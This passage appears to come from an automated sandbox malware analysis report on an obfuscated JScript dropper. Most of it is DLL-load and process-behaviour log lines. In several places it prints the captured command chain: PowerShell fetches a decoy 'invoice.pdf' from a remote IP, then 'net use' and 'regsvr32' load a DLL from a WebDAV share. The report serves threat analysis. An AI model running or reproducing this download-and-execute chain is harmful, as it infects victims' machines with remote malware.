Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9206.js.csv");ITextStream.WriteLine(" entry:7680 f:lvigf");ITextStream.WriteLine(" exec:2 f:lvigf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3696			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6196			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 3696 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 6196 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7876	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8116	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1749074220.0000023B4A08F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWGz
Source: net.exe, 00000006.00000003.1749074220.0000023B4A08F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2971157113.0000026804C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2971828930.000002687F62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1754817040.0000023B4A028000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0:J;

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

